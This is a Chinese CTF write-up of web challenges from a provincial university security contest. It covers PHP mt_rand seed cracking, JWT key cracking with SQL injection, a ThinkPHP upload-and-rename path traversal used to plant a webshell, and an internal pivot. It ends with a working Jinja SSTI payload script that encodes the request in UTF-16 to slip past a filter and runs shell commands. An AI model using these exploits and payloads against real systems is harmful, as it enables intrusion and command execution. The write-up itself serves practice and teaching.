江西省大学生信息安全技术大赛初赛web部分题解(全)
fffffilm 发表于 江西 CTF 494浏览 · 2024-09-28 15:29

挺难评的

省赛web

openthedoor

拿到账号


密码是sysadmin,(可以爆破,但是这题是原题,直接这样吧,懒得爆了

bruteforce1_EzLogin

爆破

账号是admin

token


一眼php伪随机数

str1='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='R9WLuE5hGV'
str3 = str1[::-1]     
length = len(str2)    
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

#前两个str(j)代表第一个mt_rand()输出的界限,后两个参数0和str(len(str1)-1)表示传递到 mt_rand()的范围为0到61

<?php
mt_srand(2107153532);
function createToken(){
    $dic = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $token = '';
    for ( $i = 0; $i <20; $i++ ){
        $token .= substr($dic,mt_rand(0, strlen($dic) - 1), 1);
    }

    $_SESSION['token']=$token;
    $top10=substr($token,0,10);
    echo $top10;
    echo "\n";
    echo $token;
}
createToken();

caiji

原题,稍微修改了一点。

ctf2024-wastelands/medpod at master · Interlogica-Cybersec/ctf2024-wastelands (github.com)

爆破拿到key

hashcat -m 16500 hash.txt rockyou.txt


伪造jwt


jwt认证sub那里打一个sql注入拿到所有医生uuid


利用扁鹊的uuid拿到flag

tpf

先讲一下docker的情况

是四台主机,暴露了nginx80端口

nginx--thinkphp--flask--mariadb

通过nginx反代,改变http请求的host头可以访问thinkphp和flask,或者10开头的内网地址


先看看flask。(完整源码我放后面了。


由于这里存在before_request,需要tp主机的ip,以及数据库里面的token。所以直接打是不太可能的。

那我们先看tp

thinkphp

webshell

tp嘛,直接看控制器给了什么。

public function new(){

        if(get_client_ip() !== "127.0.0.1")  {
            die("not");
        }
        $dir = "/tmp/".sha1(get_client_ip());
        if(!file_exists($dir)){
            mkdir($dir);
        }
        echo $dir;
    }
    public function delete()
    {
        checkDot(I("name"));
        $filename = "/tmp/".I("name");
        if(file_exists($filename)){
            if(is_dir($filename)){
                rmdir($filename);
            }
            else{
                unlink($filename);
            }
            echo "suc";
        }
    }
    public function up()
    {
        checkDot(I("post.filename"));
        var_dump(I("post.filename"));
        $file_content = base64_decode(I("post.content"));
        $filename = "/tmp/".sha1(get_client_ip())."/".I("post.filename");
        file_put_contents($filename,$file_content);
        echo $filename;
    }
    public function mv()
    {
        checkDot(I("post.filename1"));
        rename("/tmp/".I("post.filename1"),"/tmp/".I("post.filename2"));
        echo "suc";
    }

给了增删改的函数。

由于file_put_contents() 函数会尝试在指定的路径下创建或写入文件,但前提是该路径的所有父级目录都必须存在。如果路径中的任何目录不存在,PHP 将无法创建文件并会返回 false,导致写入失败。

所以我们先要创建一个sha1(get_client_ip())将ip进行sha1加密为名字的文件夹。


然后在tmp目录下写一个一句话木马。


再利用mv函数目录穿越


成功移动到web目录下

一些疑问

这里之所以在mv函数进行目录穿越是因为没有对移动后的文件名进行检验

function checkDot($param)
{
    if(strpos($param, '..') !== false) die("???");
}


还有一个奇怪的点,我之前在kali里面启动的环境web目录是不可写的。


但是我后来用dockek desktop启动的环境又可写了。怪

信息收集

拿到权限之后,就得挂代理,寻找内网主机了。

这里拿到了tp的ip。


那就差数据库里的token了。

他这个题目也是抽象,三位都是随机的。


由于app.py里面sql语句是参数化查询,想要sql注入是不太可能了。所以现在唯一的办法就是扫ip找到mysql了。(大概。

用docker直接看ip,不想写了,感觉这题有点抽象了

后来想到为什么flask的配置里面没有ip,为什么也能连接呢?发现原来它是通过主机名直接连接数据库,所以题目三个地方都是随机就是防止我们直接找到ip。
那tp估计也已经连接了数据库,我们直接在tp里面写一个数据库操作的函数来查询数据就好了。


利用这个函数成功拿到token。

flask

源码

import socket

from flask import Flask, request, render_template_string, abort
import mysql.connector
app = Flask(__name__)

db_config = {
    'user': 'root',  
    'password': '123456',
    'host': 'mysql',
    'database': 'web',
}

def get_db_connection():
    return mysql.connector.connect(**db_config)



@app.before_request
def before_request():
    php_ip = socket.gethostbyname("php-apache")
    if php_ip not in request.headers.get('X-Forwarded-For'):
        abort(401)
    query = "SELECT token FROM users WHERE token = %s"
    token = request.headers.get("token", "")

    cnx = get_db_connection()
    cursor = cnx.cursor(dictionary=True)
    try:
        query = "SELECT token FROM users WHERE token = %s"
        cursor.execute(query, (token,))
        result = cursor.fetchone()
    finally:
        cursor.close()
        cnx.close()
    if not result:
        abort(401)

    data = request.data
    if waf(data):
        abort(401)


def waf(code):
    ban = {b"\\u", b"{{", b"}}", b"{%", b"%}"}
    for i in ban:
        if i in code:
            return True
    return False


@app.route('/', methods=["POST"])
def sandbox(): 
    return render_template_string(request.get_json()["code"])


if __name__ == '__main__':
    app.run(host="0.0.0.0")

ip以及token我们都拿到了,剩下的利用json会自动转换编码绕过一下就行。

import requests

url = "http://127.0.0.1:23333/"

headers = {
    "Host": "flask-app",
    "X-Forwarded-For":"10.150.219.156",
    "token":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
    "Content-Type": "application/json"
}

data='{"code":"{{().__class__.__mro__[-1].__subclasses__()[226].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').popen(\'cat /flag\').read()}}"}'.encode("utf16")

response = requests.post(url, headers=headers,data=data)
print(response.text)

结束。

0 条评论
某人
表情
可输入 255